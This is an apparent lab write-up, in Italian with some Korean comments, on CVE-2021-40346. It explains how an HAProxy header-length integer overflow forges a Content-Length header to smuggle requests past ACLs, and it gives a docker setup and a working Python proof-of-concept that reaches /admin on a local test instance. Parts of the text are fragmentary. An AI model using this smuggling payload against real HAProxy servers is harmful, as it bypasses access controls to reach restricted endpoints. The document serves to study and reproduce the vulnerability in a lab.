
WHS CVE-2021-40346 Analisi
htx_add_header(), che memorizza gli header HTTP nel formato HTX internohttp-request (ad es. path_beg /admin) — queste regole sono l'obiettivo del bypassQuando HAProxy memorizza gli header HTTP nel formato HTX interno, registra la lunghezza del nome dell'header in un campo a 8 bit (massimo 255). La funzione htx_add_header() non dispone di una logica di validazione per questa lunghezza: se si invia un nome di 256 byte o più, si verifica un overflow di interi e i bit in eccesso fuoriescono nel campo adiacente della lunghezza del valore.
Se si porta il nome dell'header esattamente a 270 byte (270 mod 256 = 14), HAProxy lo scambia per "Content-Length" (14 caratteri) e legge come valore il byte contaminato dall'overflow. Posizionando "0" in quella posizione si ottiene un header Content-Length: 0 contraffatto.
Se dietro a questo header contraffatto si invia il vero header Content-Length, HAProxy adotta quello che compare per primo tra gli header duplicati (quello contraffatto, pari a 0) e scarta il valore reale. In questo caso, il processo di lettura del corpo effettivo dalla richiesta del client funziona correttamente sulla base del testo originale, ma nell'header trasmesso al backend viene registrato il valore contraffatto (0), creando una discrepanza tra "dimensione del corpo effettivamente ricevuta" e "dimensione notificata al backend".
Il backend si fida del valore notificato (0), conclude che la richiesta sia terminata e reinterpreta i dati che costituivano il corpo originale come una richiesta completamente nuova. Poiché le ACL di HAProxy vengono controllate prima, e solo sulla prima riga della richiesta originale, la seconda richiesta nascosta raggiunge il backend senza essere inclusa nel controllo. Di conseguenza, tutte le ACL http-request configurate vengono bypassate.
Eseguire docker compose up --build -d per avviare l'ambiente di test vulnerabile (haproxy ver.2.2.16 / backend: gunicorn)
Verificare l'attivazione di HAProxy e del server backend tramite il codice seguente
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Eseguire il codice PoC con python3 poc.py --host 127.0.0.1 --port 8080
Verificare tramite i log di accesso del backend con docker logs cve-2021-40346-backend --tail 5 che la richiesta /admin sia stata effettivamente elaborata
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
Come mostrato sopra, la richiesta GET verso admin, il cui accesso è limitato sul backend, viene elaborata.
htx_add_header())